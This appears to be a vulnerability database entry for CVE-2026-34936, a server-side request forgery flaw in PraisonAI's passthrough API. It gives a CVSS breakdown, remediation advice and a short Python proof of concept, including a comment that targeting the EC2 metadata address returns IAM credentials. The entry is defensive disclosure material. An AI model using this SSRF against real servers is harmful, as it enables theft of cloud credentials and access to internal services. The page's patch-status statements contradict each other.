What is the CVSS score of CVE-2026-34936?

CVE-2026-34936 has a CVSS 3.1 base score of 7.7 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N. EPSS exploitation probability: 0.0%.

Which versions of Python are affected by CVE-2026-34936?

PraisonAI's passthrough API (CVE-2026-34936) contains a server-side request forgery vulnerability that allows authenticated attackers to access internal cloud metadata services and private network…. A patch is available.

How to fix or mitigate CVE-2026-34936?

Within 24 hours: Identify all deployments of PraisonAI Python package and audit AUTH_ENABLED configuration settings; disable passthrough() and apassthrough() API endpoints immediately or restrict network access via firewall rules to trusted sources only. Within 7 days: Conduct forensic review of API logs for unauthorized api_base parameter usage; rotate any exposed EC2 IAM credentials and review CloudTrail logs for suspicious metadata service access; implement network segmentation to prevent internal service access from PraisonAI processes. Within 30 days: Monitor vendor advisory channels for patch availability; evaluate alternative AI frameworks without SSRF-prone passthrough functionality; implement input validation and allowlist-based controls on api_base parameters if passthrough functionality is business-critical.

Python CVE-2026-34936

HIGH

Server-Side Request Forgery (SSRF) (CWE-918)

2026-04-01 https://github.com/MervinPraison/PraisonAI

GHSA-x6m9-gxvr-7jpv

Python Kubernetes SSRF Redis Elastic

7.7

CVSS 3.1 · NVD

Severity by source

NVD PRIMARY

7.7 HIGH

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Changed

Confidentiality

High

Integrity

None

Availability

None

Lifecycle Timeline

Patch released

Apr 02, 2026 - 14:30 nvd

Patch available

Analysis Generated

Apr 02, 2026 - 00:15 vuln.today

CVE Published

Apr 01, 2026 - 23:21 nvd

HIGH 7.7

DescriptionNVD

Summary

passthrough() and apassthrough() in praisonai accept a caller-controlled api_base parameter that is concatenated with endpoint and passed directly to httpx.Client.request() when the litellm primary path raises AttributeError. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.

Details

passthrough.py:92 (source) -> passthrough.py:109 (fallback trigger) -> passthrough.py:110 (sink)

python

# source -- api_base taken directly from caller
def passthrough(endpoint, api_base=None, method="GET", ...):
# fallback trigger -- AttributeError from unrecognised provider enters fallback
except AttributeError:
    url = f"{api_base or 'https://api.openai.com'}{endpoint}"
# sink -- no validation before request
    response = client.request(method, url=url, ...)

PoC

python

# tested on: praisonai 1.5.87 (source install)
# install: pip install -e src/praisonai
# start listener: python3 -m http.server 8888
import sys, litellm
sys.path.insert(0, 'src/praisonai')
del litellm.llm_passthrough_route

from praisonai.capabilities.passthrough import passthrough

result = passthrough(
    endpoint="/ssrf-test",
    api_base="http://127.0.0.1:8888",
    method="GET",
    custom_llm_provider="__nonexistent__",
)
print(result)
# expected output: PassthroughResult(data='...', status_code=404, headers={'server': 'SimpleHTTP/0.6 Python/3.12.3', ...})
# listener logs: "GET /ssrf-test HTTP/1.1" 404
# on EC2 with IMDSv1: api_base="http://169.254.169.254" returns IAM credentials

Impact

On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service. Internal services (Redis, Elasticsearch, Kubernetes API) are reachable without authentication from within the VPC. The Flask API server deploys with AUTH_ENABLED = False by default, making this reachable over the network without credentials.

AnalysisAI

Server-Side Request Forgery in PraisonAI's passthrough API allows authenticated remote attackers to access internal cloud metadata services and private network resources. The vulnerability affects the praisonai Python package where the passthrough() and apassthrough() functions accept unvalidated caller-controlled api_base parameters that are directly concatenated and passed to httpx requests. With default AUTH_ENABLED=False configuration, this is remotely exploitable to retrieve EC2 IAM credent

Technical ContextAI

This is a classic Server-Side Request Forgery vulnerability (CWE-918) in the PraisonAI Python package's HTTP passthrough capability. The passthrough.py module implements a fallback mechanism for LLM provider routing: when litellm raises AttributeError for unrecognized providers, the code enters an exception handler that concatenates the caller-supplied api_base parameter with an endpoint path and passes it directly to httpx.Client.request() without any validation. The vulnerable code path is: passthrough.py:92 accepts api_base from caller, line 109 catches AttributeError and constructs the URL via string concatenation (url = f"{api_base or 'https://api.openai.com'}{endpoint}"), and line 110 executes the HTTP request with no scheme validation, IP address filtering, or domain allowlisting. The httpx library faithfully executes requests to any reachable destination including RFC 1918 private addresses (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), localhost (127.0.0.1), and link-local addresses (169.254.0.0/16). This architectural flaw is compounded by PraisonAI's Flask API server deploying with AUTH_ENABLED=False by default, removing the low-privilege authentication barrier indicated in the CVSS vector and effectively making this network-accessible without credentials in default configurations.

RemediationAI

Users should immediately review the official GitHub Security Advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x6m9-gxvr-7jpv for vendor-provided remediation guidance and patch availability. No vendor-released patch version is independently confirmed from the available data at time of analysis. As interim mitigations, organizations should enable authentication by setting AUTH_ENABLED=True in the Flask API server configuration to enforce the low-privilege requirement indicated in the CVSS vector, implement network-layer controls to block outbound requests from PraisonAI servers to RFC 1918 private address ranges and link-local addresses (169.254.0.0/16), upgrade EC2 instances to IMDSv2 which requires PUT requests with token headers that cannot be exploited via simple GET-based SSRF, and if possible avoid using the passthrough() and apassthrough() functions with untrusted input until a patched version is released. Network egress filtering should deny access to internal service ports (6379 for Redis, 9200 for Elasticsearch, 6443/8443 for Kubernetes) from the PraisonAI application tier. Consider implementing application-layer allowlists that restrict api_base parameters to explicitly approved external API domains if passthrough functionality is required for legitimate use cases.